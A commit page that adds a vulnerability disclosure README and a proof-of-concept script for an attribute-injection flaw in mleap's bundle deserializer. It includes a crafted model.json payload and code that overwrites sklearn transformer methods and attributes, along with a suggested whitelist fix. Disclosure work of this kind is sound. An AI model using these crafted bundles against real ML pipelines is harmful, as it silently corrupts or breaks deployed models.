MBM7 commited on
Commit
8e675de
Β·
verified Β·
1 Parent(s): ba4c981

Upload 2 files

Browse files
Files changed (2) hide show
  1. README.md +119 -0
  2. poc_mleap_setattr_injection.py +130 -0
README.md CHANGED
@@ -1,3 +1,122 @@
1
  ---
 
 
 
 
 
 
 
 
 
2
  license: mit
3
  ---
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
  ---
2
+ tags:
3
+ - security
4
+ - vulnerability
5
+ - poc
6
+ - mleap
7
+ - sklearn
8
+ - attribute-injection
9
+ - cwe-915
10
+ - model-integrity
11
  license: mit
12
  ---
13
+
14
+ # MLeap β€” Bundle Arbitrary Attribute Injection (PoC)
15
+
16
+ **Repo:** `MBM7/mleap-attribute-injection-poc`
17
+ **Status:** Responsible disclosure β€” submitted to Huntr
18
+ **Severity:** High / CWE-915
19
+ **Package:** `mleap` (PyPI) β€” ML pipeline serialization format
20
+
21
+ ---
22
+
23
+ ## Summary
24
+
25
+ A crafted MLeap bundle `model.json` can **overwrite any Python attribute**
26
+ of any sklearn transformer β€” including methods like `transform()` and
27
+ `predict()` β€” causing silent model corruption at inference time.
28
+ No exception is raised during loading.
29
+
30
+ ---
31
+
32
+ ## Root Cause
33
+
34
+ `mleap/bundle/serialize.py`, `MLeapDeserializer.deserialize_single_input_output()`, line 208:
35
+
36
+ ```python
37
+ for attribute in attributes.keys(): # ← from model.json, NO validation
38
+ value_key = [key for key in attributes[attribute].keys()
39
+ if key in ['string', 'boolean', 'long', 'double', 'data_shape']][0]
40
+ setattr(transformer, attribute, attributes[attribute][value_key])
41
+ # ^^^^^^^^^ ANY Python attribute name
42
+ ```
43
+
44
+ `attribute` comes directly from `model.json` in the MLeap bundle with
45
+ **no whitelist or validation**. An attacker controls all attribute names
46
+ and their values.
47
+
48
+ ---
49
+
50
+ ## Attack
51
+
52
+ Craft a `model.json` with injected attribute names alongside legitimate ones:
53
+
54
+ ```json
55
+ {
56
+ "op": "standard_scaler",
57
+ "attributes": {
58
+ "mean_": {"double": [0.5, 1.5, 2.5]},
59
+ "transform": {"string": "HIJACKED"},
60
+ "__module__": {"string": "os"},
61
+ "n_features_in_": {"long": 9999999999}
62
+ }
63
+ }
64
+ ```
65
+
66
+ After `MLeapDeserializer().deserialize_single_input_output(scaler, node_dir)`:
67
+ - `scaler.transform` = `"HIJACKED"` (method overwritten with string)
68
+ - `scaler.__module__` = `"os"` (`__dunder__` injected)
69
+ - `scaler.n_features_in_` = `9999999999` (shape validation bypassed)
70
+
71
+ Calling `scaler.transform(X)` raises `TypeError: 'str' object is not callable`.
72
+
73
+ ---
74
+
75
+ ## Reproduce
76
+
77
+ ```bash
78
+ pip install mleap scikit-learn numpy
79
+ python poc_mleap_setattr_injection.py
80
+ ```
81
+
82
+ Expected:
83
+ ```
84
+ result.transform : 'HIJACKED' ← INJECTED (was method!)
85
+ result.__module__ : os ← INJECTED
86
+ result.n_features_in_ : 9999999999 ← INJECTED
87
+ result.transform(X) : TypeError: 'str' object is not callable
88
+ ```
89
+
90
+ ---
91
+
92
+ ## Distinct class from all previous findings
93
+
94
+ All previous findings were **CWE-789** (memory allocation). This is:
95
+ - **CWE-915** (Improperly Controlled Modification of Dynamically-Determined Object Attributes)
96
+ - No memory exhaustion β€” model integrity/behavioral attack
97
+ - Silent failure at inference time, not at load time
98
+
99
+ ---
100
+
101
+ ## Suggested Fix
102
+
103
+ ```python
104
+ ALLOWED_ATTRS = frozenset({
105
+ 'mean_', 'var_', 'scale_', 'with_mean', 'with_std',
106
+ 'copy', 'n_features_in_', 'n_samples_seen_', 'op',
107
+ # ... per-transformer whitelist
108
+ })
109
+ for attribute in attributes.keys():
110
+ if attribute not in ALLOWED_ATTRS:
111
+ raise ValueError(f"Attribute {attribute!r} not in allowed list")
112
+ setattr(transformer, attribute, ...)
113
+ ```
114
+
115
+ ---
116
+
117
+ ## Environment
118
+
119
+ | Package | Version |
120
+ |---------|---------|
121
+ | mleap | 0.25.1 |
122
+ | Python | 3.12 |
poc_mleap_setattr_injection.py ADDED
@@ -0,0 +1,130 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ PoC: MLeap Bundle Arbitrary Attribute Injection via model.json
3
+ Target : mleap (PyPI `mleap`)
4
+ Format : MLeap Bundle (.zip directory with model.json)
5
+ Tested : mleap 0.25.1, Python 3.12
6
+ Author : mgm-77 / MBM7
7
+
8
+ === Finding: MLeapDeserializer.deserialize_single_input_output() calls
9
+ setattr(transformer, attribute, value) where `attribute` comes
10
+ directly from model.json with NO validation or whitelist ===
11
+ CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes)
12
+ UBDAF Q14 (Invariant Violation) / Q11 (Model loading integrity)
13
+
14
+ mleap/bundle/serialize.py, deserialize_single_input_output(), line 208:
15
+
16
+ for attribute in attributes.keys(): # ← from model.json, unchecked
17
+ value_key = [key for key in attributes[attribute].keys()
18
+ if key in ['string', 'boolean', 'long', 'double', 'data_shape']][0]
19
+ setattr(transformer, attribute, attributes[attribute][value_key])
20
+ # ^^^^^^^^^ ANY Python attribute name from JSON
21
+
22
+ === Impact ===
23
+ A crafted MLeap bundle model.json can:
24
+ 1. Overwrite sklearn transformer methods (transform, predict, fit)
25
+ β†’ TypeError at inference time, silent model corruption
26
+ 2. Set __module__ to arbitrary string β†’ namespace confusion
27
+ 3. Inject arbitrary n_features_in_ β†’ bypass shape validation
28
+ 4. Overwrite any instance attribute β†’ data integrity violation
29
+
30
+ Invariant violated: "only legitimate model attributes are set from bundle"
31
+ """
32
+
33
+ import json
34
+ import os
35
+ import sys
36
+ import tempfile
37
+
38
+ import numpy as np
39
+ from sklearn.preprocessing import StandardScaler
40
+ from mleap.bundle.serialize import MLeapDeserializer
41
+
42
+
43
+ def make_malicious_bundle(tmpdir: str) -> str:
44
+ """Create a MLeap bundle directory with injected attributes."""
45
+ node_dir = os.path.join(tmpdir, "standard_scaler")
46
+ os.makedirs(node_dir)
47
+
48
+ # model.json with injected attributes alongside legitimate ones
49
+ model_json = {
50
+ "op": "standard_scaler",
51
+ "attributes": {
52
+ # Legitimate attributes
53
+ "mean_": {"double": [0.5, 1.5, 2.5]},
54
+ "var_": {"double": [1.0, 1.0, 1.0]},
55
+ "scale_": {"double": [1.0, 1.0, 1.0]},
56
+ # === INJECTED ATTRIBUTES ===
57
+ "transform": {"string": "HIJACKED"}, # overwrite method
58
+ "predict": {"string": "injected"}, # inject new attr
59
+ "__module__": {"string": "os"}, # __dunder__ injection
60
+ "n_features_in_": {"long": 9_999_999_999}, # bypass shape check
61
+ "with_mean": {"boolean": False}, # overwrite config
62
+ }
63
+ }
64
+
65
+ node_json = {
66
+ "name": "standard_scaler_0",
67
+ "shape": {
68
+ "inputs": [{"name": "features"}],
69
+ "outputs": [{"name": "scaled_features"}]
70
+ }
71
+ }
72
+
73
+ with open(os.path.join(node_dir, "model.json"), "w") as f:
74
+ json.dump(model_json, f, indent=2)
75
+ with open(os.path.join(node_dir, "node.json"), "w") as f:
76
+ json.dump(node_json, f, indent=2)
77
+
78
+ return node_dir
79
+
80
+
81
+ # ── Main ──────────────────────────────────────────────────────────────────────
82
+
83
+ print("=" * 64)
84
+ print("MLeap Bundle Arbitrary Attribute Injection")
85
+ print("CWE-915 / Q14 Invariant Violation")
86
+ print("=" * 64)
87
+
88
+ deser = MLeapDeserializer()
89
+
90
+ with tempfile.TemporaryDirectory() as tmpdir:
91
+ node_dir = make_malicious_bundle(tmpdir)
92
+ transformer = StandardScaler()
93
+
94
+ print(f"\n [Before loading]")
95
+ print(f" transformer.transform type : {type(transformer.transform).__name__} (method)")
96
+ print(f" transformer.__module__ : {transformer.__module__}")
97
+
98
+ result = deser.deserialize_single_input_output(transformer, node_dir)
99
+
100
+ print(f"\n [After loading crafted bundle]")
101
+ print(f" result.mean_ : {result.mean_} (legitimate)")
102
+ print(f" result.transform : {repr(getattr(result, 'transform', None))} ← INJECTED (was method!)")
103
+ print(f" result.predict : {repr(getattr(result, 'predict', None))} ← INJECTED (new attr)")
104
+ print(f" result.__module__ : {result.__module__} ← INJECTED")
105
+ print(f" result.n_features_in_ : {result.n_features_in_} ← INJECTED (bypass shape check)")
106
+
107
+ print(f"\n [Impact: calling transform() after injection]")
108
+ try:
109
+ out = result.transform([[1.0, 2.0, 3.0]])
110
+ print(f" result.transform(X) : {out}")
111
+ except Exception as e:
112
+ print(f" result.transform(X) : {type(e).__name__}: {e}")
113
+ print(f" ← Silent model corruption: inference fails after loading malicious bundle")
114
+
115
+ print()
116
+ print("=" * 64)
117
+ print("Root cause β€” mleap/bundle/serialize.py line 208:")
118
+ print()
119
+ print(" for attribute in attributes.keys(): # from model.json")
120
+ print(" setattr(transformer, attribute, ...) # NO whitelist")
121
+ print()
122
+ print("Suggested fix: validate attribute against a whitelist:")
123
+ print(" ALLOWED_ATTRS = {'mean_', 'var_', 'scale_', 'with_mean', ...}")
124
+ print(" if attribute not in ALLOWED_ATTRS:")
125
+ print(" raise ValueError(f'Attribute {attribute!r} not allowed')")
126
+ print()
127
+ print("=" * 64)
128
+ import importlib.metadata
129
+ print(f"mleap : {importlib.metadata.version('mleap')}")
130
+ print(f"Python : {sys.version.split()[0]}")